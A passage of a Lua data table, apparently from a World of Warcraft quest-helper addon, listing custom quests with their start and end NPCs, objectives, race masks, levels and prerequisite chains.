["race"] = 178,
["lvl"] = 15,
["min"] = 10,
},
-- Crumblepoint Tower
[40087] = {
["start"] = {
["U"] = { 91713 },
},
["end"] = {
["U"] = { 91713 },
},
["obj"] = {
["U"] = { 91740, 91741 },
},
["lvl"] = 15,
["min"] = 14,
["next"] = { 40088 },
},
-- Head of the Pack
[40088] = {
["start"] = {
["U"] = { 91713 },
},
["end"] = {
["U"] = { 91713 },
},
["obj"] = {
["U"] = { 91760, 91739 },
["I"] = { 60172 },
},
["lvl"] = 16,
["min"] = 14,
["pre"] = { 40087 },
},
-- The Rampant Groveweald
[40089] = {
["start"] = {
["U"] = { 91285 },
},
["end"] = {
["U"] = { 91285 },
},
["obj"] = {
["I"] = { 60176 },
},
["lvl"] = 33,
["min"] = 26,
},
-- The Unwise Elders
[40090] = {
["start"] = {
["U"] = { 91285 },
},
["end"] = {
["U"] = { 91285 },
},
["obj"] = {
["I"] = { 60177, 60178 },
},
["lvl"] = 34,
["min"] = 26,
},
-- Outnumbered
[40096] = {
["start"] = {
["U"] = { 91712 },
},
["end"] = {
["U"] = { 91712 },
},
["obj"] = {
["U"] = { 91773 },
},
["race"] = 178,
["lvl"] = 16,
["min"] = 15,
["next"] = { 40097 },
},
-- In the Dark
[40097] = {
["start"] = {
["U"] = { 91712 },
},
["end"] = {
["U"] = { 91712 },
},
["obj"] = {
["U"] = { 91772 },
},
["race"] = 178,
["lvl"] = 16,
["min"] = 15,
["next"] = { 40098 },
["pre"] = { 40096 },
},
-- Rightful Heir
[40098] = {
["start"] = {
["U"] = { 91712 },
},
["end"] = {
["U"] = { 91711 },
},
["obj"] = {
["I"] = { 60174 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 15,
["next"] = { 40099 },
["pre"] = { 40096, 40097 },
},
-- Attack from the Inside
[40099] = {
["start"] = {
["U"] = { 91711 },
},
["end"] = {
["U"] = { 91711 },
},
["obj"] = {
["U"] = { 91980, 91981 },
["O"] = { 2010824 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 15,
["next"] = { 40277 },
["pre"] = { 40096, 40097, 40098 },
},
-- The Lone Wolf
[40108] = {
["start"] = {
["U"] = { 3978 },
},
["end"] = {
["U"] = { 60408 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["next"] = { 40109 },
},
-- Scars of the Past
[40109] = {
["start"] = {
["U"] = { 60408 },
},
["end"] = {
["U"] = { 60408 },
},
["obj"] = {
["U"] = { 60409 },
["I"] = { 60104 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40108 },
["next"] = { 40110 },
},
-- Unseen Enemy
[40110] = {
["start"] = {
["U"] = { 60408 },
},
["end"] = {
["U"] = { 3978 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40109 },
["next"] = { 40111 },
},
-- In a Rush
[40111] = {
["start"] = {
["U"] = { 3978 },
},
["end"] = {
["U"] = { 3978 },
},
["obj"] = {
["U"] = { 60402 },
["I"] = { 60102 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40110 },
["next"] = { 40112 },
},
-- Disturbing Silence
[40112] = {
["start"] = {
["U"] = { 3978 },
},
["end"] = {
["U"] = { 60410 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40111 },
["next"] = { 40113 },
},
-- Might of the Horde
[40113] = {
["start"] = {
["U"] = { 60410 },
},
["end"] = {
["U"] = { 3978 },
},
["obj"] = {
["U"] = { 60404, 60405, 60406, 60407 },
["I"] = { 60103 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40112 },
["next"] = { 40114 },
},
-- Uldum Awaits
[40114] = {
["start"] = {
["U"] = { 3978 },
},
["end"] = {
["O"] = { 142343 },
},
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40113 },
["next"] = { 40115 },
},
-- Guardian of the Gate
[40115] = {
["start"] = {
["O"] = { 142343 },
},
["end"] = {
["O"] = { 142343 },
},
["obj"] = {
["U"] = { 80935 },
},
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40114 },
},
-- Aggresive Wildlife
[40120] = {
["start"] = {
["U"] = { 91288 },
},
["end"] = {
["U"] = { 91288 },
},
["obj"] = {
["I"] = { 60110 },
},
["race"] = 77,
["lvl"] = 13,
["min"] = 20,
["next"] = { 40121 },
},
-- Alpha Aggression
[40121] = {
["start"] = {
["U"] = { 91288 },
},
["end"] = {
["U"] = { 91288 },
},
["obj"] = {
["I"] = { 60111 },
},
["race"] = 77,
["lvl"] = 13,
["min"] = 21,
["pre"] = { 40120 },
},
-- Dwindling Supplies
[40136] = {
["start"] = {
["U"] = { 91727 },
},
["end"] = {
["U"] = { 91727 },
},
["obj"] = {
["I"] = { 60196 },
},
["race"] = 178,
["lvl"] = 16,
["min"] = 15,
["next"] = { 40137 },
},
-- Strike Them Down
[40137] = {
["start"] = {
["U"] = { 91727 },
},
["end"] = {
["U"] = { 91727 },
},
["obj"] = {
["U"] = { 91989 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 15,
["pre"] = { 40136 },
},
-- Reaperence Of The Damned
[40139] = {
["start"] = {
["U"] = { 91726 },
},
["end"] = {
["U"] = { 91726 },
},
["obj"] = {
["U"] = { 91756, 91757 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 15,
["next"] = { 40140 },
},
-- Cleaning The Farm
[40140] = {
["start"] = {
["U"] = { 91726 },
},
["end"] = {
["U"] = { 91726 },
},
["obj"] = {
["U"] = { 91759 },
},
["race"] = 178,
["lvl"] = 19,
["min"] = 15,
["pre"] = { 40139 },
},
-- Mysteries of the Grove
[40145] = {
["start"] = {
["U"] = { 11720 },
},
["end"] = {
["U"] = { 11749 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 26,
["next"] = { 40146 },
},
-- Feran's Report
[40146] = {
["start"] = {
["U"] = { 11749 },
},
["end"] = {
["U"] = { 11720 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 26,
["pre"] = { 40145 },
["next"] = { 40147 },
},
-- Rooting Out Evil
[40147] = {
["start"] = {
["U"] = { 11720 },
},
["end"] = {
["U"] = { 11720 },
},
["obj"] = {
["U"] = { 92110 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 26,
["pre"] = { 40146 },
},
-- Taking over Faldir's Cove
[40181] = {
["start"] = {
["U"] = { 60496 },
},
["end"] = {
["U"] = { 60496 },
},
["obj"] = {
["U"] = { 2610, 2769 },
},
["lvl"] = 48,
["min"] = 45,
["pre"] = { 40180 },
["next"] = { 40182 },
},
-- In Search of Corruption
[40192] = {
["start"] = {
["U"] = { 60471 },
},
["end"] = {
["U"] = { 60471 },
},
["obj"] = {
["I"] = { 60261, 60262, 60263 },
},
["race"] = 77,
["lvl"] = 20,
["min"] = 10,
["next"] = { 40193 },
},
-- Ashenvale Corruption
[40193] = {
["start"] = {
["U"] = { 60471 },
},
["end"] = {
["U"] = { 3516 },
},
["race"] = 77,
["lvl"] = 20,
["min"] = 10,
["pre"] = { 40192 },
},
-- Old Greypaw
[40197] = {
["start"] = {
["U"] = { 91287 },
},
["end"] = {
["U"] = { 91287 },
},
["obj"] = {
["U"] = { 60470 },
},
["race"] = 77,
["lvl"] = 19,
["min"] = 10,
},
-- Unforseen Consequences
[40201] = {
["start"] = {
["U"] = { 60465 },
},
["end"] = {
["U"] = { 60482 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 5,
["next"] = { 40202 },
},
-- Tasala's Word
[40202] = {
["start"] = {
["U"] = { 60482 },
},
["end"] = {
["U"] = { 60465 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 5,
["next"] = { 40203 },
["pre"] = { 40201 },
},
-- Rooting Out Corruption
[40203] = {
["start"] = {
["U"] = { 60465 },
},
["end"] = {
["U"] = { 60465 },
},
["obj"] = {
["U"] = { 60475 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 5,
["pre"] = { 40202 },
},
-- A Meeting With Adaena
[40204] = {
["start"] = {
["U"] = { 60474 },
},
["end"] = {
["U"] = { 60473 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 5,
["next"] = { 40205 },
},
-- Securing Darnassus
[40205] = {
["start"] = {
["U"] = { 60473 },
},
["end"] = {
["U"] = { 60473 },
},
["obj"] = {
["U"] = { 2013, 2012 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 5,
["pre"] = { 40204 },
},
-- Collecting Mushrooms
[40206] = {
["start"] = {
["U"] = { 982 },
},
["end"] = {
["U"] = { 982 },
},
["obj"] = {
["I"] = { 60171 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 30
},
-- A Pinch of Venom
[40207] = {
["start"] = {
["U"] = { 982 },
},
["end"] = {
["U"] = { 982 },
},
["obj"] = {
["I"] = { 60280 },
},
["race"] = 178,
["lvl"] = 41,
["min"] = 34
},
-- The Magic of Dragons
[40208] = {
["start"] = {
["U"] = { 983 },
},
["end"] = {
["U"] = { 983 },
},
["obj"] = {
["I"] = { 60281 },
},
["race"] = 178,
["lvl"] = 45,
["min"] = 34
},
-- The Hunt for Sorrowclaw
[40209] = {
["start"] = {
["U"] = { 1775 },
},
["end"] = {
["U"] = { 1775 },
},
["obj"] = {
["I"] = { 60282 },
},
["race"] = 178,
["lvl"] = 41,
["min"] = 34
},
-- The Venture Co. Shakedown
[40216] = {
["start"] = {
["U"] = { 60500 },
},
["end"] = {
["U"] = { 60500 },
},
["obj"] = {
["U"] = { 3284, 3282 },
},
["lvl"] = 16,
["min"] = 11,
},
-- Batskin Letter
[40220] = {
["start"] = {
["U"] = { 1569 },
},
["end"] = {
["U"] = { 60483 },
},
["obj"] = {
["I"] = { 60301 },
},
["race"] = 16,
["class"] = 4,
["lvl"] = 2,
["min"] = 1,
},
-- Conserving Stonetalon Peak
[40227] = {
["start"] = {
["U"] = { 60507 },
},
["end"] = {
["U"] = { 60507 },
},
["obj"] = {
["I"] = { 60310 },
},
["race"] = 77,
["lvl"] = 24,
["min"] = 17,
},
-- Saltspittle Raiders
[40230] = {
["start"] = {
["U"] = { 60472 },
},
["end"] = {
["U"] = { 60472 },
},
["obj"] = {
["I"] = { 60312, 60313 },
},
["race"] = 77,
["lvl"] = 21,
["min"] = 10,
},
-- The Keepers Charge
[40243] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 91722 },
},
["obj"] = {
["U"] = { 6348, 6370, 6371 },
},
["lvl"] = 53,
["min"] = 45,
["next"] = { 40244 },
},
-- The Keepers Possession
[40244] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 91722 },
},
["obj"] = {
["I"] = { 60326 },
},
["lvl"] = 53,
["min"] = 45,
["pre"] = { 40243 },
["next"] = { 40245 },
},
-- The Eldarath Harmonization Gem
[40245] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 91722 },
},
["obj"] = {
["I"] = { 60327 },
},
["lvl"] = 53,
["min"] = 45,
["pre"] = { 40244 },
["next"] = { 40246 },
},
-- Aged Deep-Rod
[40246] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 91722 },
},
["obj"] = {
["I"] = { 60328 },
},
["lvl"] = 53,
["min"] = 45,
["pre"] = { 40245 },
["next"] = { 40247 },
},
-- Staff of Eldara
[40247] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 91722 },
},
["lvl"] = 53,
["min"] = 45,
["pre"] = { 40246 },
["next"] = { 40252 },
},
-- Taming the Beast I
[40248] = {
["start"] = {
["U"] = { 60484 },
},
["end"] = {
["U"] = { 60484 },
},
["obj"] = {
["IR"] = { 60329 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["next"] = { 40249 },
["pre"] = { 40261, 40260 },
},
-- Taming the Beast II
[40249] = {
["start"] = {
["U"] = { 60484 },
},
["end"] = {
["U"] = { 60484 },
},
["obj"] = {
["IR"] = { 60330 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["next"] = { 40250 },
["pre"] = { 40261, 40260, 40248 },
},
-- Taming the Beast III
[40250] = {
["start"] = {
["U"] = { 60484 },
},
["end"] = {
["U"] = { 60484 },
},
["obj"] = {
["IR"] = { 60331 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["next"] = { 40262 },
["pre"] = { 40261, 40260, 40248, 40249 },
},
-- The Way-Stones of Old
[40252] = {
["start"] = {
["U"] = { 91722 },
},
["end"] = {
["U"] = { 60512 },
},
["obj"] = {
["A"] = { 40252 },
},
["lvl"] = 55,
["min"] = 45,
["pre"] = { 40247},
["next"] = { 40253 },
},
-- Restoring the Ley Lines
[40253] = {
["start"] = {
["U"] = { 60512 },
},
["end"] = {
["U"] = { 60512 },
},
["obj"] = {
["A"] = { 60336 },
},
["lvl"] = 55,
["min"] = 45,
["pre"] = { 40252},
["next"] = { 40254 },
},
-- Keeping Secrets
[40254] = {
["start"] = {
["U"] = { 60512 },
},
["end"] = {
["U"] = { 60512 },
},
["obj"] = {
["I"] = { 60332 },
},
["lvl"] = 58,
["min"] = 45,
["pre"] = { 40253},
},
-- Blackrock and Roll
[40256] = {
["start"] = {
["U"] = { 91891 },
},
["end"] = {
["U"] = { 91891 },
},
["obj"] = {
["I"] = { 60335 },
},
["lvl"] = 57,
["min"] = 48,
},
-- Blackrock Slayers
[40257] = {
["start"] = {
["U"] = { 91891 },
},
["end"] = {
["U"] = { 91891 },
},
["obj"] = {
["U"] = { 7027 },
},
["lvl"] = 57,
["min"] = 48,
},
-- A Dark Ranger's Mastery
[40260] = {
["start"] = {
["U"] = { 60483 },
},
["end"] = {
["U"] = { 81050 },
},
["race"] = 16,
["class"] = 4,
["lvl"] = 5,
["min"] = 5,
["next"] = { 40261 },
},
-- The Hunter's Path
[40261] = {
["start"] = {
["U"] = { 81050 },
},
["end"] = {
["U"] = { 60484 },
},
["race"] = 16,
["class"] = 4,
["lvl"] = 10,
["min"] = 10,
["next"] = { 40248 },
["pre"] = { 40260 },
},
-- Taming the Beast IV
[40262] = {
["start"] = {
["U"] = { 60484 },
},
["end"] = {
["U"] = { 60488 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["next"] = { 80755, 40263 },
["pre"] = { 40261, 40260, 40248, 40249, 40250 },
},
-- A Demonstration of Skill
[40263] = {
["start"] = {
["U"] = { 60484 },
},
["end"] = {
["U"] = { 81050 },
},
["obj"] = {
["U"] = { 60513 },
["I"] = { 60337 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 40261, 40260, 40248, 40249, 40250, 40262 },
},
-- A Bad Day to Fish!
[40274] = {
["start"] = {
["U"] = { 60510 },
},
["end"] = {
["U"] = { 60510 },
},
["obj"] = {
["U"] = { 3110 },
},
["race"] = 178,
["lvl"] = 11,
["min"] = 6,
},
-- Fall Of The Usurpoer
[40277] = {
["start"] = {
["U"] = { 91711 },
},
["end"] = {
["U"] = { 91711 },
},
["obj"] = {
["U"] = { 91352, 91975, 91721, 91974 },
},
["race"] = 178,
["lvl"] = 20,
["min"] = 15,
["next"] = { 40277 },
["pre"] = { 40096, 40097, 40098, 40099 },
},
-- Darlthos Heritage
[40278] = {
["start"] = {
["U"] = { 91712 },
},
["end"] = {
["U"] = { 91753 },
},
["obj"] = {
["I"] = { 60189 },
},
["race"] = 178,
["lvl"] = 19,
["min"] = 15,
["next"] = { 40279 },
},
-- A Different Type of Lock
[40279] = {
["start"] = {
["U"] = { 91753 },
},
["end"] = {
["U"] = { 91712 },
},
["obj"] = {
["I"] = { 60189 },
},
["race"] = 178,
["lvl"] = 19,
["min"] = 15,
["next"] = { 40280 },
["pre"] = { 40278 },
},
-- Ways of Magic
[40280] = {
["start"] = {
["U"] = { 91712 },
},
["end"] = {
["U"] = { 4567 },
},
["obj"] = {
["I"] = { 60189, 60190 },
},
["race"] = 178,
["lvl"] = 19,
["min"] = 15,
["next"] = { 40281 },
["pre"] = { 40278, 40279 },
},
-- Into The Jaws
[40281] = {
["start"] = {
["U"] = { 4567 },
},
["end"] = {
["U"] = { 4567 },
},
["obj"] = {
["I"] = { 60191 },
},
["race"] = 178,
["lvl"] = 25,
["min"] = 15,
["next"] = { 40281 },
["pre"] = { 40278, 40279, 40280 },
},
-- Darlthos Legacy
[40282] = {
["start"] = {
["U"] = { 4567 },
},
["end"] = {
["U"] = { 91711 },
},
["obj"] = {
["I"] = { 60189, 60391 },
},
["race"] = 178,
["lvl"] = 19,
["min"] = 15,
["pre"] = { 40278, 40279, 40280, 40281 },
},
-- Azsharan Front
[40283] = {
["start"] = {
["U"] = { 92024 },
},
["end"] = {
["U"] = { 92024 },
},
["obj"] = {
["U"] = { 7864, 6194, 6195 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 40,
},
-- Blood and Glory!
[40284] = {
["start"] = {
["U"] = { 92024 },
},
["end"] = {
["U"] = { 92024 },
},
["obj"] = {
["I"] = { 60396 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 42,
},
-- A Blademaster's Request
[40285] = {
["start"] = {
["U"] = { 92196 },
},
["end"] = {
["U"] = { 92196 },
},
["obj"] = {
["A"] = { 91722 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["next"] = { 40286 },
},
-- The Search for the Blade
[40286] = {
["start"] = {
["U"] = { 92196 },
},
["end"] = {
["U"] = { 92196 },
},
["obj"] = {
["I"] = { 60397 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["pre"] = { 40285 },
["next"] = { 40287 },
},
-- The Search for the Edge
[40287] = {
["start"] = {
["U"] = { 92196 },
},
["end"] = {
["U"] = { 92196 },
},
["obj"] = {
["I"] = { 60398 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["pre"] = { 40286 },
["next"] = { 40288 },
},
-- Refueling the Blade
[40288] = {
["start"] = {
["U"] = { 92196 },
},
["end"] = {
["U"] = { 92196 },
},
["obj"] = {
["I"] = { 60399 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["pre"] = { 40287 },
["next"] = { 40289 },
},
-- To Honor the Forgotten
[40289] = {
["start"] = {
["U"] = { 92196 },
},
["end"] = {
["U"] = { 92196 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["pre"] = { 40288 },
},
-- Food for Bloodfist Point
[40290] = {
["start"] = {
["U"] = { 92202 },
},
["end"] = {
["U"] = { 92202 },
},
["obj"] = {
["I"] = { 60401 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 40,
["next"] = { 40291 },
},
-- Claws for Bloodfist Point
[40291] = {
["start"] = {
["U"] = { 92202 },
},
["end"] = {
["U"] = { 92202 },
},
["obj"] = {
["I"] = { 60402 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 40,
["pre"] = { 40290 },
},
-- Disturbance in the Air
[40292] = {
["start"] = {
["U"] = { 92197 },
},
["end"] = {
["U"] = { 92197 },
},
["obj"] = {
["I"] = { 60403, 60404 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 40,
["next"] = { 40293 },
},
-- Ritual of the Farseer
[40293] = {
["start"] = {
["U"] = { 92197 },
},
["end"] = {
["U"] = { 92197 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 45,
["pre"] = { 40292 },
["next"] = { 40294 },
},
-- Dragons of Azshara?
[40294] = {
["start"] = {
["U"] = { 92197 },
},
["end"] = {
["U"] = { 92199 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 45,
["pre"] = { 40293 },
["next"] = { 40295 },
},
-- Mystery of Lake Mennar
[40295] = {
["start"] = {
["U"] = { 92199 },
},
["end"] = {
["U"] = { 92199 },
},
["obj"] = {
["A"] = { 60343 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 45,
["pre"] = { 40294 },
["next"] = { 40296 },
},
-- Report to the Archdruid
[40296] = {
["start"] = {
["U"] = { 92199 },
},
["end"] = {
["U"] = { 5769 },
},
["race"] = 178,
["lvl"] = 50,
["min"] = 45,
["pre"] = { 40295 },
["next"] = { 40297 },
},
-- Stop the Dragonflight
[40297] = {
["start"] = {
["U"] = { 5769 },
},
["end"] = {
["U"] = { 92197 },
},
["obj"] = {
["U"] = { 6129, 6130, 6131 },
},
["race"] = 178,
["lvl"] = 56,
["min"] = 46,
["pre"] = { 40296 },
},
-- Red Skies of Durotar
[40298] = {
["start"] = {
["U"] = { 60538 },
},
["end"] = {
["U"] = { 60539 },
},
["obj"] = {
["I"] = { 51751, 769, 3770 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 5,
},
-- A Secret Admirer
[40300] = {
["start"] = {
["U"] = { 3607 },
},
["end"] = {
["U"] = { 7295 },
},
["race"] = 77,
["lvl"] = 12,
["min"] = 10,
},
-- Baking Bread
[40301] = {
["start"] = {
["U"] = { 3884 },
},
["end"] = {
["U"] = { 6929 },
},
["obj"] = {
["I"] = { 60444 },
},
["race"] = 178,
["lvl"] = 11,
["min"] = 10,
},
-- Torta's Egg
[40302] = {
["start"] = {
["U"] = { 14823 },
},
["end"] = {
["U"] = { 14823 },
},
["obj"] = {
["I"] = { 60445 },
},
["lvl"] = 22,
["min"] = 20,
},
-- The Depths of Karazhan I
[40304] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 60607 },
},
["obj"] = {
["I"] = { 60454 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["next"] = { 40305 },
},
-- The Depths of Karazhan II
[40305] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 60607 },
},
["obj"] = {
["I"] = { 60455 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40304 },
["next"] = { 40306 },
},
-- The Depths of Karazhan III
[40306] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 1497 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40305 },
["next"] = { 40307 },
},
-- The Depths of Karazhan IV
[40307] = {
["start"] = {
["U"] = { 1497 },
},
["end"] = {
["U"] = { 60607 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40306 },
["next"] = { 40308 },
},
-- The Depths of Karazhan V
[40308] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 60607 },
},
["obj"] = {
["I"] = { 60457, 60458 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40307 },
["next"] = { 40309 },
},
-- The Depths of Karazhan VI
[40309] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 60607 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40308 },
["next"] = { 40310 },
},
-- The Depths of Karazhan VII
[40310] = {
["start"] = {
["U"] = { 60607 },
},
["end"] = {
["U"] = { 60607 },
},
["obj"] = {
["U"] = { 91928 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40309 },
},
-- The Mystery of Karazhan I
[40311] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 60606 },
},
["obj"] = {
["I"] = { 60454 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["next"] = { 40312 },
},
-- The Mystery of Karazhan II
[40312] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 60606 },
},
["obj"] = {
["I"] = { 60455 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40311 },
["next"] = { 40313 },
},
-- The Mystery of Karazhan III
[40313] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 2543 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40312 },
["next"] = { 40314 },
},
-- The Mystery of Karazhan IV
[40314] = {
["start"] = {
["U"] = { 2543 },
},
["end"] = {
["U"] = { 60606 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40313 },
["next"] = { 40315 },
},
-- The Mystery of Karazhan V
[40315] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 60606 },
},
["obj"] = {
["I"] = { 60457, 60458 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40314 },
["next"] = { 40316 },
},
-- The Mystery of Karazhan VI
[40316] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 60606 },
},
["race"] = 77,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40315 },
["next"] = { 40317 },
},
-- The Mystery of Karazhan VII
[40317] = {
["start"] = {
["U"] = { 60606 },
},
["end"] = {
["U"] = { 60606 },
},
["obj"] = {
["U"] = { 91928 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 58,
["pre"] = { 40316 },
},
-- A Call to Aid (1 of 3)
[40318] = {
["start"] = {
["U"] = { 91974 },
},
["end"] = {
["U"] = { 466 },
},
["obj"] = {
["I"] = { 60466 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 11,
["next"] = { 40319 },
},
-- A Call to Aid (2 of 3)
[40319] = {
["start"] = {
["U"] = { 466 },
},
["end"] = {
["U"] = { 91974 },
},
["obj"] = {
["I"] = { 60467 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 11,
["next"] = { 40320 },
["pre"] = { 40319 },
},
-- A Call to Aid (3 of 3)
[40320] = {
["start"] = {
["U"] = { 91976 },
},
["end"] = {
["U"] = { 91976 },
},
["obj"] = {
["I"] = { 60468 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 11,
["pre"] = { 40318, 40319 },
},
-- The Azurestone
[40338] = {
["start"] = {
["U"] = { 60629 },
},
["end"] = {
["U"] = { 60629 },
},
["class"] = 128,
["race"] = 4,
["lvl"] = 12,
["min"] = 10,
},
-- The Azurestone Order
[40339] = {
["start"] = {
["U"] = { 60629 },
},
["end"] = {
["U"] = { 60629 },
},
["obj"] = {
["I"] = { 60494 },
},
["class"] = 128,
["race"] = 4,
["lvl"] = 12,
["min"] = 10,
},
-- Corrupted Sand
[40340] = {
["start"] = {
["U"] = { 80943 },
},
["end"] = {
["U"] = { 80943 },
},
["obj"] = {
["I"] = { 50203 },
},
["lvl"] = 60,
["min"] = 58,
},
-- Sand in Bulk
[40341] = {
["start"] = {
["U"] = { 80943 },
},
["end"] = {
["U"] = { 80943 },
},
["obj"] = {
["I"] = { 50203 },
},
["lvl"] = 60,
["min"] = 58,
},
-- The Bronze Betrayal
[40342] = {
["start"] = {
["U"] = { 60622 },
},
["end"] = {
["U"] = { 60622 },
},
["obj"] = {
["I"] = { 60496 },
},
["lvl"] = 60,
["min"] = 58,
},
-- New Bonds
[40363] = {
["start"] = {
["U"] = { 66002 },
},
["end"] = {
["U"] = { 66002 },
},
["obj"] = {
["U"] = { 2967 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 7,
["next"] = 40364,
},
-- Seeking Acceptance
[40364] = {
["start"] = {
["U"] = { 66002 },
},
["end"] = {
["U"] = { 3064 },
},
["race"] = 434,
["lvl"] = 11,
["min"] = 8,
["next"] = 40365,
["pre"] = { 40363 },
},
-- A Trial of Sincerity
[40365] = {
["start"] = {
["U"] = { 3064 },
},
["end"] = {
["U"] = { 66002 },
},
["obj"] = {
["I"] = { 60513 },
},
["race"] = 434,
["lvl"] = 11,
["min"] = 8,
["next"] = 40366,
["pre"] = { 40363, 40364 },
},
-- An Earnest Offering
[40366] = {
["start"] = {
["U"] = { 66002 },
},
["end"] = {
["U"] = { 3064 },
},
["race"] = 434,
["lvl"] = 11,
["min"] = 8,
["pre"] = { 40363, 40364, 40365 },
},
-- Further Studies
[40369] = {
["start"] = {
["U"] = { 10118 },
},
["end"] = {
["U"] = { 10118 },
},
["obj"] = {
["I"] = { 60516 },
},
["race"] = 77,
["lvl"] = 10,
["min"] = 10,
["pre"] = { 6343 },
},
-- Foreign Threats
[40388] = {
["start"] = {
["I"] = { 60520 },
},
["end"] = {
["U"] = { 3139 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 3,
},
-- Zalazane's Fall
[40389] = {
["start"] = {
["U"] = { 3188 },
},
["end"] = {
["U"] = { 10540 },
},
["obj"] = {
["I"] = { 4866 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 7,
["pre"] = { 826 },
},
-- Aggression's End
[40390] = {
["start"] = {
["I"] = { 60521 },
},
["end"] = {
["U"] = { 3188 },
},
["obj"] = {
["I"] = { 60521 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 5,
["next"] = { 40391 },
},
-- A Hunt for Honor
[40391] = {
["start"] = {
["U"] = { 3188 },
},
["end"] = {
["U"] = { 3057 },
},
["obj"] = {
["I"] = { 60521 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 7,
["pre"] = { 40390 },
},
-- Food for Sailing Thoughts?
[40395] = {
["start"] = {
["O"] = { 2010884 },
},
["end"] = {
["U"] = { 392 },
},
["lvl"] = 20,
["min"] = 15,
["next"] = { 40396 },
},
-- Captain Grayson's Revenge
[40396] = {
["start"] = {
["O"] = { 392 },
},
["end"] = {
["U"] = { 392 },
},
["obj"] = {
["I"] = { 60526 },
},
["lvl"] = 22,
["min"] = 15,
},
-- Night's Exploration
[50230] = {
["start"] = {
["U"] = { 718 },
},
["end"] = {
["U"] = { 718 },
},
["lvl"] = 15,
["min"] = 5
},
-- In Service of the Light (1 of 2)
[50300] = {
["start"] = {
["U"] = { 4982 },
},
["end"] = {
["U"] = { 12336 },
},
["race"] = 1,
["lvl"] = 6,
["min"] = 1,
["next"] = { 50301 },
},
-- In Service of the Light (2 of 2)
[50301] = {
["start"] = {
["U"] = { 12336 },
},
["end"] = {
["U"] = { 50506 },
},
["race"] = 1,
["lvl"] = 6,
["min"] = 1,
